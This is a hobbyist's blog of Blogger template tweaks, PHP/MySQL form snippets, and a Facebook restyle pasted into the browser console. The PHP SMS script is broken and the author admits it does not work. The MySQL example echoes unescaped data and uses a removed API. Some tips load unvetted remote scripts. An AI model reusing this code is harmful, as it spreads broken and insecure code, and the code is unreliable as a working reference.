A Heart in Love with Beauty Never Grows Old...!




News Update :
Showing posts with label HTML-Java Code. Show all posts
Showing posts with label HTML-Java Code. Show all posts

Hide no comment in blogger

- Open blogger template html
- Search this code
   
         <div class='comments' id='comments'>
        <a name='comments'/>
        <b:if cond='data:post.allowComments'>

- After that next line is
         <h4><data:commentLabel/>:</h4>

- Remove red colored text
- Save template
.

Change file permission in windows

I try to install dolphin script in windows but always get error about file permission. After getting help install url-rewrite but don't know how to use it.

After surfing more get idea to change folder & file permission in windows.


    I did as below:

- Select folder 
- Right click & go to properties
- Select "Security" tab
- Choose IIS_USERS
- Edit it & Save...



.

Send sms from website to mobile

Not work this sendsms.php


<html>
 <body>
   <h1>My SMS form</h1>
   <form method=post action='sendsms.php'>
   <table border=0>
   <tr>
     <td>Recipient</td>
     <td><input type='text' name='recipient'></td>
   </tr>
   <tr>
     <td>Message</td>
     <td><textarea rows=4 cols=40 name='message'></textarea></td>
   </tr>

<tr>
     <td>Date to send</td>
      <td><input type='text' name='date'></td>
   </tr>

   <tr>
     <td> </td>
     <td><input type=submit name=submit value=Send></td>
   </tr>
   </table>
   </form>
 </body>
</html>




send.php file


<?php

########################################################
# Login information for the SMS Gateway
########################################################

$user = "mobilenumber;
$password = "password";
$url = "http://www.smszone.in/sendsms.asp?";
$page = "SendSmsBulk";


########################################################
# Functions used to send the SMS message
########################################################
function httpRequest($url){
    $pattern = "/http...([0-9a-zA-Z-.]*).([0-9]*).(.*)/";
    preg_match($pattern,$url,$args);
    $in = "";
    $fp = fsockopen("$args[1]", $args[2], $errno, $errstr, 30);
    if (!$fp) {
       return("$errstr ($errno)");
    } else {
        $out = "GET /$args[3] HTTP/1.1\r\n";
        $out .= "Host: $args[1]:$args[2]\r\n";
        $out .= "User-agent: PHP client\r\n";
        $out .= "Accept: */*\r\n";
        $out .= "Connection: Close\r\n\r\n";

        fwrite($fp, $out);
        while (!feof($fp)) {
           $in.=fgets($fp, 128);
        }
    }
    fclose($fp);
    return($in);
}



function window.open($phone, $msg, $scheduledate, $debug=false){
      global .$page,$user,$password,$url;

      $url = 'page='.$page;
      $url = '&username='.$user;
      $url.= '&password='.$password;
      $url.= '&number='.urlencode($phone);
      $url.= '&message='.urlencode($msg);
       $url.= '&scheduledate='.urlencode($date);
     

      $urltouse =  $url.$url;
      if ($debug) { echo "Request: <br>$urltouse<br><br>"; }

      //Open the URL to send the message
      $response = httpRequest($urltouse);
      if ($debug) {
           echo "Response: <br><pre>".
           str_replace(array("<",">"),array("&lt;","&gt;"),$response).
           "</pre><br>"; }

      return($response);
}

########################################################
# GET data from sendsms.html
########################################################

$phonenum = $_POST['recipient'];
$message = $_POST['message'];
$scheduledate = $_POST['date'];
$debug = true;

window.open($phonenum,$message,$scheduledate,$debug);

?>

.

Creating own blogger template from scratch

I always try to make my own blogger template. I try many times by searching but failed.

Here is basic code of my template. I save it & see my blog homepage is blank.


<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html>
<html b:version='2' class='v2' expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<head>
  <meta content='IE=EmulateIE7' http-equiv='X-UA-Compatible'/>
  <b:if cond='data:blog.isMobile'>
    <meta content='width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0' name='viewport'/>
  <b:else/>
    <meta content='width=1100' name='viewport'/>
  </b:if>
  <b:include data='blog' name='all-head-content'/>
  <title><data:blog.pageTitle/></title>
  <b:skin>
  </b:skin>
</head>

<body>

  <b:section id='header' class='header' maxwidgets='' showaddelement='yes'>
  </b:section>

</body>
</html>




Now I decide look up of homepage. I like 2 columns.  I copy two column html layout from dynamic drive & make some changes for blogger.
css paste between <b:skin>  </b:skin>

Now I try to add some widgets to my template but get error message: widget must be in section. I can't understand but try again as below:


  <b:section id='Right1' class='sidebar' maxwidgets='' showaddelement='yes'>
 <b:widget id='HTML1' locked='false' title='Test HTML widget' type='HTML' />
  </b:section>

save & check. It works...!
I want to make a different type of home page, in which many columns, different layout of home & post.
I add css after </b:skin> code as below

This is for to show on homepage only:

<style type='text/css'>
<b:if cond='data:blog.url == data:blog.homepageUrl'>
Code here...
</b:if>
</style>

This is for to hide on homepage only:

<style type='text/css'>
<b:if cond='data:blog.url != data:blog.homepageUrl'>
Code here...
</b:if>
</style>

Posts is main feature in any blog. I add it by below code..

 <b:section id='main' class="main" maxwidgets='' showaddelements='yes'>
    <b:widget id='Blog1' locked='false' title='Blog Posts' type='Blog'/>
  </b:section>

Make some changes...
I want to add many things in small space so add tabs in sidebar...

Below is the code for adding tabs in blogger...


<script type='text/javascript'>
//<![CDATA[
function haakblog_oom(NBTID, id)
{
  var haakblog = document.getElementById(NBTID);
  var NBTs = haakblog.firstChild;
  while (NBTs.className != "NBTs" ) NBTs = NBTs.nextSibling;
  var NBT = NBTs.firstChild;
  var i   = 0;
  do
  {
    if (NBT.tagName == "A")
    {
      i++;
      NBT.href      = "javascript:haakblog_ubah('"+NBTID+"', "+i+");";
      NBT.className = (i == id) ? "Active" : "";
      NBT.blur();
    }
  }
  while (NBT = NBT.nextSibling);
  var Halamans = haakblog.firstChild;
  while (Halamans.className != 'Halamans') Halamans = Halamans.nextSibling;
  var Halaman = Halamans.firstChild;
  var i    = 0;
  do
  {
    if (Halaman.className == 'Halaman')
    {
      i++;
      if (Halamans.offsetHeight) Halaman.style.height = (Halamans.offsetHeight-2)+"px";
      Halaman.style.overflow = "auto";
      Halaman.style.display  = (i == id) ? 'block' : 'none';
    }
  }
  while (Halaman = Halaman.nextSibling);
}
function haakblog_ubah(NBTID, id) { haakblog_oom(NBTID, id);
}
function haakblog_inisial(NBTID) { haakblog_oom(NBTID,  1);
document.write('');}
//]]>
</script>
<style>
div.haakblog div.NBTs {
height: 24px;
overflow: hidden;
}
div.haakblog div.NBTs a:hover, div.haakblog div.NBTs a.Active {
background-color: #eee;
}
div.haakblog div.Halamans {
clear: both;
border: 2px solid #f4f4f4;
overflow: hidden;
background-color: #ffffff;
}
div.haakblog div.Halamans div.Halaman {
height: 100%; padding: 0px;
overflow: hidden;
}
div.haakblog div.Halamans div.Halaman div.Alas {
padding: 3px 5px;
}
div.haakblog div.NBTs a {
border-left:1px solid #eee;
border-right:1px solid #eee;
border-top:1px solid #eee;
border-boNBTom:0px solid #eee;
float: left;
display: block;
width: 95px;
text-align: center;
vertical-align: middle;
height: 24px;
padding-top: 3px;
text-decoration: none;
font-family: "Arial", Serif;
font-size: 11px;
font-weight: 900;
color: #000000
}
</style>
<form action="haakblog.html" method="get">
<div id="haakblog" class="haakblog">
<div style="width: 300px;" class="NBTs"> <a>Tab 1 Title</a> <a>Tab 2  Title</a> <a>Tab 3  Title</a></div>
<div style="width: 300px; height: 300px;" class="Halamans">
<div class="Halaman">
<div class="Alas">
<br/>
Tab 1 content goes here
</div>
</div>
<div class="Halaman">
<div class="Alas">
<br/>
Tab 2 content goes here
</div>
</div>
<div class="Halaman">
<div class="Alas">
<br/>
Tab 3 content goes here
</div>
</div>
</div>
</div>
</div></form>

I want to add one feature in comments. Enable youtube videos, images, smiley, html...


Add below code just before </head>


<script src='http://code.jquery.com/jquery-latest.js' type='text/javascript'/>
<script src='http://yourjavascript.com/30014513125/youtubevideoinbloggercomment.js' type='text/javascript'/>

Now search for
<div class='post-footer-line post-footer-line-3'>

Add below code below it...


<b:if cond='data:blog.pageType == &quot;item&quot;'><script type='text/javascript'>
//<![CDATA[
function moreSmilies() {
    document.getElementById('smiley-more').style.display = 'inline';
    document.getElementById('smiley-toggle').innerHTML = '<a href="javascript:lessSmilies()"><div style="font-size:small; font-weight:bold;color:#000000;">Hide Emoticons <a href="http://pjoshi235.blogspot.com">@</div></a></span>';
}
function lessSmilies() {
    document.getElementById('smiley-more').style.display = 'none';
    document.getElementById('smiley-toggle').innerHTML = '<a href="javascript:moreSmilies()"><div style="font-size:small; font-weight:bold; font-color:#000000;">Show Emoticons</div></a>';
}
//]]>
</script>
<div class='emoticons'>
<span id='smiley-more' style='display: none;'>
<img src='http://4.bp.blogspot.com/-k4ujC23cSgI/UTIq7eUkmuI/AAAAAAAABAQ/YUNL9_RhDB0/s1600/smile3.gif'/>:)
<img src='http://2.bp.blogspot.com/-XSBJ7zBZKZs/UTIrT-hMYyI/AAAAAAAABAY/6B26_8Ttwj4/s1600/sad.gif'/>:(
<img src='http://2.bp.blogspot.com/-Ph2wxEvy2mc/UTIr8-fdHjI/AAAAAAAABAo/3use2PsPhMA/s1600/taunt.gif'/>:))
<img src='http://3.bp.blogspot.com/-pcE-4ot-gjk/UTIsLRff6SI/AAAAAAAABAw/LYvZ8__88Ak/s1600/cry2.gif'/>:((
<img src='http://1.bp.blogspot.com/-lNNTReQVc0A/UTIrjDhVLAI/AAAAAAAABAg/BsVMYnr54pI/s1600/rofl.gif'/>=))
<img src='http://1.bp.blogspot.com/-8C5UH12mxf0/UTIzmsxczDI/AAAAAAAABDA/2seHdqLVQ6Q/s1600/suicide.gif'/>=D&gt;
<img src='http://4.bp.blogspot.com/-lhTywmMZ58E/UTI04kjJ3WI/AAAAAAAABDY/qNgtijEr_E8/s1600/biggrin.gif'/>:D
<img src='http://1.bp.blogspot.com/-gG_Wn6D6Ux4/UTIyqFyfKbI/AAAAAAAABCo/qEmU8s8ndVI/s1600/tongue.gif'/>:P
<img src='http://3.bp.blogspot.com/-Zb5g0OWHx4c/UTIsuPLt90I/AAAAAAAABA4/cmP1ltBmVF0/s1600/shock.gif'/>:-O
<img src='http://1.bp.blogspot.com/-TSIzPWeGBwk/UTI0S-nw5tI/AAAAAAAABDQ/xyHPCFZH4fI/s1600/think.gif'/>:-?
<img src='http://1.bp.blogspot.com/-qpnD1BYon5w/UTI0AIeKX6I/AAAAAAAABDI/HsllV7NYTqk/s1600/unsure.gif'/>:-SS
<img src='http://4.bp.blogspot.com/-SpvC8mHHwhg/UTIzQMUVGKI/AAAAAAAABCw/_NKKVyQtulk/s1600/flowers1.gif'/>:-f
<img src='http://3.bp.blogspot.com/-qlyn_deOhFw/UTIzY8aRgqI/AAAAAAAABC4/pfSojMdD33s/s1600/doh.gif'/>d(
<img src='http://2.bp.blogspot.com/-H4e_O5BFVP8/UTIumwhVmKI/AAAAAAAABBw/SKhY4DDxKkk/s1600/air_kiss.gif'/>:-*
<img src='http://3.bp.blogspot.com/-h4yNmhdKUVU/UTIwUKpvVOI/AAAAAAAABCY/B0FEZVRGHe4/s1600/threaten.gif'/>b-(
<img src='http://4.bp.blogspot.com/-veVoDPEc7I4/UTIv9wCS0jI/AAAAAAAABCQ/4c5FgCHAiU4/s1600/help.gif'/>h-(
<img src='http://2.bp.blogspot.com/-_ttAcnBbAaw/UTIvKtxfWvI/AAAAAAAABCA/X2JLEShhOQU/s1600/good.gif'/>g-)
<img src='http://2.bp.blogspot.com/--o9jZ1nMcec/UTIuyCBgS_I/AAAAAAAABB4/Jf03oz5yKrU/s1600/beee.gif'/>5-p
<img src='http://2.bp.blogspot.com/-6-BTJcVpwY0/UTIvhF_PL-I/AAAAAAAABCI/SS-LDADTSls/s1600/yahoo.gif'/>y-)
<img src='http://3.bp.blogspot.com/-khAwhIYbgvQ/UTItD_PfNyI/AAAAAAAABBI/HMpRMQh5Uak/s1600/crazy.gif'/>c-)
<img src='http://2.bp.blogspot.com/-fsTXhXl10Gg/UTIs7Ll01AI/AAAAAAAABBA/QkWgWAAFG3g/s1600/spiteful.gif'/>s-)
<img src='http://2.bp.blogspot.com/-CIuUuJeuyGI/UTIueHgTxOI/AAAAAAAABBo/BzXkTEEDlhw/s1600/drinks.gif'/>d-)
<img src='http://2.bp.blogspot.com/-Mc5ed3Ymk7s/UTI1GIXMAMI/AAAAAAAABDg/PyDOfoXgsl0/s1600/cheer.gif'/>w-)
<img src='http://2.bp.blogspot.com/-JOgaMRI61Jk/UTItsGc5KdI/AAAAAAAABBY/6UDCabfZQbg/s1600/hi+2.gif'/>:-h
<img src='http://2.bp.blogspot.com/-wmOB_Z6LPp4/UTIt9FhZiwI/AAAAAAAABBg/7VoefgIQjEs/s1600/give_heart.gif'/>:X
</span>
<span id='smiley-toggle'><a href='javascript:moreSmilies()'><div style='font-size:small;font-weight:bold;'>Show Emoticons <img src='http://4.bp.blogspot.com/-k4ujC23cSgI/UTIq7eUkmuI/AAAAAAAABAQ/YUNL9_RhDB0/s1600/smile3.gif'/></div></a></span>
</div></b:if>

I can add more images as smiley...

Now go to bottom.
Add below code just before  </body>



<script src='http://yourjavascript.com/3544111646/youtubevideos.js' type='text/javascript'/>
<script src='http://yourjavascript.com/5611007145/pics-comments.js' type='text/javascript'/>
<script src='http://yourjavascript.com/0516141543/kolobok-threaded.js' type='text/javascript'/>
<script src='http://yourjavascript.com/4755111456/helplogger-blogspot-com-smileys.js' type='text/javascript'/> <noscript><a href='http://helplogger.blogspot.com/2012/04/how-to-add-emoticonssmileys-in-blogger.html' target='_blank'><span style='font-size: x-small;'>.</span></a></noscript>
<script src='http://yourjavascript.com/1465951181/nccode.js' type='text/javascript'/>


Add below code to change style of avatar image in comments...


.comments .avatar-image-container {
width: 40px;
height: 40px;
max-height: 40px;
margin:0px 10px 0 5px;
padding: 0px;
border: 4px solid #4D90F0;
border-radius:40px;
}

.comments .avatar-image-container img {
overflow:hidden;
width: 40px;
height: 40px;
max-width: 40px;
border:0 !important;
border-radius:40;
}

Credit:
- http://www.w3schools.com
- http://postoneeighth.blogspot.com
- http://www.dynamicdrive.com
- http://helplogger.blogspot.com
- http://www.haakblog.com
.

Show Hide Widget on Blogger Home Page

To hide content only in homepage of blogger...

<b:if cond='data:blog.pageType != &quot;item&quot;'>
----Widget Code-----
</b:if>

To show content only in homepage of blogger...

<b:if cond='data:blog.pageType == &quot;item&quot;'>
----Widget Code-----
</b:if>
.

Mysql column value in select option

Below is an example of php code to use mysql column value in select option dropdown...

<?php
  $con = mysql_connect("localhost","root","password");
  $db = mysql_select_db("database",$con);
  $get=mysql_query("SELECT id, url, name FROM table");
  ?>
 <html>
     <head>
     <style type="text/css">
html, body {
background: #97C8FF 
}
body {
margin: 0 0 0 0 ;
}
#right {
width:150px;
float: left;
}
</style>
     </head>
 <body>
    <form>
        <select onChange="window.open(this.options[this.selectedIndex].value,'frameid')"  onclick="Size(this,4);" class="select" style="width:150px;"> 
         <?php
             while($row = mysql_fetch_assoc($get)){?>
                <option value = "<?php echo($row['url'])?>" ><?php echo($row['name'])?></option>
                <?php } ?>
        </select>
    </form>
    </body>
 </html>
.

Chained Select Option Dropdown

I don't know much about javascpript, so make many pages to make many pages & create chained select option for my radio widget...

- Main

<html>
<head>
<title>Dreamland</title>
<style type="text/css">
html,body{background:#97C8FF;}
          #left{width:115px;float:left;height:75px;overflow:hidden;}
          #right{width:150px;float:right;height:75px;overflow:hidden;}
</style>

<script language="JavaScript" type="text/javascript">
<!--
function Size(obj,s){
Obj=obj;
obj.size=s;
setTimeout('document.onclick=function(){ Obj.size=1; document.onclick=null; }',1000);
}
//-->
</script>
</head>
<body>

<div style="width:270px; height:185px; overflow: hidden;">
<div id="left">
<form action="../">
<select onChange="window.open(this.options[this.selectedIndex].value,'wid')" onclick="Size(this,2);" class="select" style="width:115px;">
<option value="">Select</option>
<option value="http://a.html">a</option>
<option value="http://b.html">b</option>
<option value="http://c.html">c</option>
<option value="http://d.html">c</option>
</select>
</form>
</div>

<div id="right" align="right">
<iframe id="wid" name="wid" frameborder="0" height="70px" scrolling="no" width="150" src=""></iframe>
</div>

<center>
<iframe id="wid2" name="wid2"  frameborder="0" height="80" width="230" scrolling="no" src="asdfghjkl.html"></iframe>
</center>
</div>
</body>
</html>


- a.html

<body>
<div id="right" align="left">
<form action="../">
<select onChange="window.open(this.options[this.selectedIndex].value,'wid2')" onclick="Size(this,2);" class="select" style="width:150px;">
<option value="">Select</option>
<option value="1.html">1</option>
<option value="2.html">2</option>
<option value="3.html">3</option>
</select>
</form>
</div>

</body>


This is working in my Radio Widget for my blog....!
.

Scrollbar in Select option

Below is code to add scrollbar in option select dropdown...
I use it for html pages to show them in a frame...


<html>
<head>
<title>Dreamland</title>
<style type="text/css">
html,body{background:#97C8FF;

}#left{width:115px;float:left;height:75px;overflow:hidden;}

#right{width:150px;float:right;height:75px;overflow:hidden;}
</style>

<script language="JavaScript" type="text/javascript">
<!--
function Size(obj,s){

Obj=obj;
obj.size=s;
setTimeout('document.onclick=function(){ Obj.size=1; document.onclick=null; }',1000);
}
//-->
</script>
</head>
<body>

<div style="width:270px; height:185px; overflow: hidden;">
<div id="left">
<form action="../">
<select onChange="window.open(this.options[this.selectedIndex].value,'wid')" onclick="Size(this,4);" class="select" style="width:115px;">
<option value="">Select</option>
<option value="http://a.html">a</option>
<option value="http://b.html">b</option>
<option value="http://c.html">c</option>
<option value="http://d.html">d</option>
<option value="http://e.html">e</option>
<option value="http://f.html">f</option>
<option value="http://g.html">g</option>
<option value="http://h.html">h</option>
<option value="http://i.html">i</option>
</select>
</form>
</div>

<center>
<iframe id="wid" frameborder="0" height="100" width="230" scrolling="no" src="asdfghjkl.html"></iframe>
</center>
.

Embed pls file



Since last long time I want to keep my favorite radios at one place.
But don't know ABC of server scripts.
So listen radios on shoutcast.

Today I try to embed pls file in flash.

- Download pls file by shoutcast.com
- Open it by notepad
- Copy url
- Use online music player available at
                 http://www.flash-mp3-player.net/players/multi/generator/
- Include /; after port number of url
- Generate code

Its working example is above...!

I have try to add more stream links in single pls file, also working because pls file is playlist not mp3...!
.

Facebook - Delete All Messages

I sign up on many websites with my facebook mail. As a result inbox, other messages, archived messages, spam folder is full with messages of non-facebook users.

Tired by deleting messages one by one.

Today I found this chrome extension & it work for me...


















After installing this extension, 
Go to facebook message & click on icon shown as image
After clicking nothing to do... 
All messages on page deleting
Refresh or load more message & do as before again...

* Also for Firefox
 https://addons.mozilla.org/en-US/firefox/addon/facebook-delete-all-message/
 
* Also check out 'Facebook - Delete My Timeline' - https://chrome.google.com/webstore/detail/facebook-delete-my-timeli/olpgdigakalagbnckjmnhajofccbbeaf 
.

Colorful Facebook

Change look up of facebook profile & make it colorful...

Copy the below code.

For chrome:
- Click F12
- A small window open below facebook page.
- Click on console
- Paste code & click ENTER
- Then close small window...

I use http://fc07.deviantart.net/fs43/i/2009/154/9/5/smoke_by_mollem76.jpg as background image. Change red bold color link with other image.


Code for change layout as below:

(function() {
var css = ".highlightIndicator, \n.tinyman:after, \n.fbTimelineSideAds,\n.ego_column,\n.buttonWrap, \n.fbTimelineSpine, \n.spinePointer, \n.topBorder, \n.bottomBorder, \n#footerContainer, \n.middleLink, \n.slimHeader #pageNav li.tinyman::after, .slimHeader #pageNav li.middleLink::after, \n.slimHeader #pageNav .middleLink a, \n.moreSectionsLink\n{\ndisplay:none !important;\n}\n\ndiv.mainWrapper{\npadding-left: 1em !important;\n}\n.uiProgressBar .fill {\nbackground: #444 !important;\nborder: solid #222 !important;\n}\n.uiTypeaheadView .compact li {\nbackground-color: #111 !important;\n}\ndiv.uiTypeaheadView .selected {\nbackground-color: #333 !important;\n}\n.fbIndex .gradient {\nbackground: none !important;\n}\n.notifNegativeBase #fbNotificationsFlyout li.jewelItemNew, .notifNegativeBase #fbNotificationsFlyout li.first_receipt {\nbackground: #333 !important;\n}\n.pop_container {\nbackground-color: #000 !important;\n}\n.pop_verticalslab, .pop_horizontalslab {\nbackground: #222 !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiContextualLayer {\nbackground-color: #111 !important;\n}\n.HighlightSelectorMenu {\nborder: 2px solid #000 !important;\nbackground: #111 !important;\nborder-radius: 5px !important;\n}\n.-cx-PUBLIC-uiDialog__border, ._1yu {\nborder: 10px solid rgba(82, 82, 82, .7) !important;\n-webkit-border-radius: 8px !important;\n}\ninput[type=\"text\"], input[type=\"password\"], .inputtext, select, .select, select > option, select > button, .fbPhotoImageStage .fbPhotosPhotoButtons .tagMessage, .fbPhotoImageStage .fbPhotosPhotoButtons .cropMessage, #u1clso_61 div img, #navSearch .uiTypeahead, .-cx-PRIVATE-uiDialog__content, ._1yu, ._t {\nbackground-color: #111 !important;\n}\n.fbTimelineCapsule\n{\nbackground: none !important;\n}\n.sp_c79t5t\n{\nbackground-image: none !important;\n}\n* {\nborder-color: transparent !important;\ncolor: #FFFFFF !important;\nbackground-color: transparent !important; \n}\n\n#fbTimelineHeadline .profilePic {\nbackground-color: #FFF !important;\nborder: 4px solid #FFF !important;\n-webkit-border-radius: 2px !important;\nheight: 160px !important;\nwidth: 160px !important;\n}\n\n\n.fbTimelineScrubber {\n\nborder-color: #333333 !important;\npadding: 8px 0 8px 1px !important;\ntop: 38px !important;\nwidth: 122px !important;\nz-index: 1 !important;\nborder-radius: 10px !important;\n}\n\n.fbPhotosPhotoTagboxBase .tagName {\nbackground: #000 !important;\ncolor: #FFF !important;\ncursor: default !important;\nfont-weight: normal !important;\npadding: 2px 6px 3px !important;\ntop: 3px !important;\nwhite-space: nowrap !important;\n}\n\n.fbPhotosPhotoTagboxBase .innerTagBox {\nborder: 4px solid white !important;\nborder-color: rgba(255, 255, 255, .8) !important;\n}\n\n.fbPhotoSnowlift {\nbackground-color: rgba(0, 0, 0, .7) !important;\n}\n\n.fbPhotoSnowlift .rhc , .pagingActivated .snowliftOverlay, .fbPhotoSnowlift.taggingMode .snowliftOverlay, .stageWrapper{\nbackground-color: #111 !important;\n}\n\n.profile-picture img {\nmax-width: 170px !important;\n}\n\n.webComposerPhotoUpload input, .webComposerPhotoUpload {\ncolor: #000000 !important;\n}\n\n\nhtml{background:url(http://fc07.deviantart.net/fs43/i/2009/154/9/5/smoke_by_mollem76.jpg) no-repeat center fixed;background-size:cover;-o-background-size:cover;-webkit-background-size:cover}\n\n\n\n\n.fbCurrentStory:hover, .connect_widget_like_button, .fbFeedTickerStory:hover, .item a:hover, .fbJewelFlyout li:hover, .uiSideNav a:hover, .fbNubFlyoutBody, .uiButtonConfirm {\nbackground: #111111 !important;\n}\n\n.fbChatMessageGroup {\nborder-color: #2c2c2c !important;\n}\n\n.fbChatSidebar {\nbackground: #111111 !important;\n}\n\n#leftCol {\nposition: relative;top:20px!important;\nmin-height: 400px !important;\n}\n\n.arrowLeft a {\nbackground-image:url('http://i.imgur.com/26zf5.png') !important;\nborder-color: #666666 !important;\n}\n\n.arrowRight a {\nbackground-image:url('http://i.imgur.com/v6B6z.png') !important;\nborder-color: #666666 !important;\n}\n\n.uiStreamSubstory {\nborder-color: transparent !important;\n}\n\n.uiHeader {\nbackground-color: transparent !important;\n}\n\n.fbSidebarGripper, .fbTickerFooter, .fbSidebarGripper div, .navSubmenu:hover {\nbackground-color: #222222 !important;\n}\n\n.fbTimelineCountButton, .uiBoxWhite, .uiButtonGroup {\nbackground-color: #1c1c1c !important;\n}\n\n\n\n#leftCol {\npadding-top: 0px !important;\npadding-left: 0px !important;\n}\n\n.fbNubFlyoutFooter {\nbackground: #111111 !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #FFFFFF !important; \nborder: #333333 !important;\n}\n\n.uiStream .uiSelectorButton {\nbackground-image: url(\"http://i.imgur.com/nOfuQ.png\") !important;\n}\n\n.uiSearchInput {\nbackground-image: url(\"http://i.imgur.com/agmNw.png\") !important;\n}\n\n\n\n\n.jewelButton:hover, .topNavLink a:hover {\nbackground-color: #222222 !important;\n}\n\n.uiScrollableAreaGripper {\nbackground-color: #666666 !important;\n}\n\n.uiSearchInput, .fbPhotosGridHeader, .uiComposerMessageBoxControls, #MessagingShelf, .uiBoxGray {\nbackground: #111111 !important;\n}\n\n.uiButton {\nbackground: #1c1c1c !important;\n}\n\n#blueBar  {\nbackground: -moz-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 0 7px rgba(39, 98, 138, 0.95) !important;\nborder:4px ridge #2165a2 !important;\nmargin-top:5px!important;\nmargin-left:5px!important;\nborder-radius: 70px!important;\n}\n\n\n\n#contentCol, #pageLogo a {\nbackground-color: transparent !important;\nborder-color: transparent !important;\n}\n\n.uiMorePager {\nmargin-bottom:6px !important;\nbackground-color: #1c1c1c !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStreamStory, .fbIndexFeaturedRegistration, .signupForm {\nmargin-bottom:2px !important;\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\npadding: 1px !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStream .uiStreamHeader .uiStreamHeaderChronologicalForm .uiSelectorButton .uiButtonText {\ncolor: #000 !important;\n}\n\n#album_pagelet {\nbackground-color: #111111 !important;\nmargin-left: 0px !important;\nmargin-top: -15px !important;\n}\n\n.tagWrapper, #pagelet_main_column, .timelineUnitContainer, .fbTimelineTopSection, #MessagingMessages {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n.fbTimelineTopSectionBase .topSectionBottomBorder {\ndisplay: none !important;\n}\n#pagelet_main_column {\nwidth: 500px !important;\n}\n\n.fbJewelFlyout, .uiToggleFlyout, .navigation, .container, .uiOverlayContent, .search, .pop_container_advanced {\nbackground-color: #111111 !important; \nborder-radius: 15px !important;\nborder: 2px solid #333333 !important;\n}\n\n#left_column, #leftCol, .MessagingReadHeader {\nbackground: #111111 !important;\nborder-radius: 15px !important;\n}\n\n#left_column, #leftCol {\nmargin-left:-8px !important;\nwidth: 185px !important;\n}\n\n.uiMediaThumb i, .uiProfilePhoto {\nborder: 1px solid #000000 !important; \n}\n\n#rightCol {\nmargin-top: 10px !important;\npadding-top: 0px !important;\nbackground: #111111 !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n\n#right_column, .rightColumnWrapper {\nmargin-top: 0px !important;\npadding-top: 0px !important; \nposition: fixed !important;\nbackground: #111111 !important;\nborder-radius: 15px !important; \nborder: 0px solid #333333 !important;\n}\n\n.aboutMePagelet {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder: 0px solid #333333 !important;\n}\n\n.fbNubButton, .fbNubFlyoutTitlebar, .uiToggleFlyout, .fbChatSidebarFooter {\nbackground: -moz-linear-gradient(center top , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center top , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #FFFFFF !important;\nborder: #333333 !important;\n}\n\n.fbChatOrderedList {\nbackground: -moz-linear-gradient(center right , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center right , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #FFFFFF !important;\nborder: #333333 !important;\n}\n\n\n\n\n\n\n\n\n.UFIMentionsInputWrap,.navHeader, ._554n,.fbxWelcomeBox ,._2yg .composerTypeahead {\nbackground: -moz-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 2px 4px rgba(39, 98, 138, 0.75) !important;\nborder:2px ridge #2165a2 !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.fbx #pageHead, #blueBar #pageHead{\npadding-top:0px!important;\n}\n.slim #blueBar {\n\n    height: 35px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg,\n._s0,\n._42fz .pic{\n   border:2px solid  rgba(0, 0, 0, .55)!important;\n   border-radius: 37px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg:hover,\n._s0:hover,\n._42fz .pic:hover{\n   box-shadow: 0px 0px 4px rgba(39, 98, 138, 0.95) !important;\n   border:2px ridge #2165a2 !important;\n   border-radius: 37px!important;\n}\n.uiSideNav .sideNavItem .hasCount:hover,\n.uiSideNav .sideNavItem .noCount:hover{\n   text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n   color: #2165a2 !important;\n\n}\n#navSearch {\nwidth:300px !important;\nmargin-top: 6px !important;\nmargin-left: 30px !important;\nborder-color: transparent !important;\n}\n#headNav {\n    height: 30px;\n}\n\n\n\na:hover{\n   text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n   color: #2165a2 !important;\n}\n.UIActionLinks_bottom a, \n.UIActionLinks_bottom button.as_link, \n.UIActionLinks_bottom .uiLinkButton input, \n.UIActionLinks_bottom .uiLinkButton input:hover,\n.uiStreamMessage .actorName, .uiStreamMessage .passiveName\n{\n   text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n   color: #2165a2 !important;\n}\n._2yg .composerTypeahead ,#bfb_options_button_li.openToggler ul,\n .better_fb_mini_message, .sfx_mini_message_no_x,\n .GM_options_wrapper_inner,\n .better_fb_mini_message, .mini_x{\nbackground: -moz-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d  0%,#000000 100%);\nbox-shadow: 0 2px 4px rgba(39, 98, 138, 0.75) !important;\nborder:2px ridge #33b1fe !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.GM_options_buttons input{\n   text-shadow: 1px 1px 1px rgba(0, 0, 0, 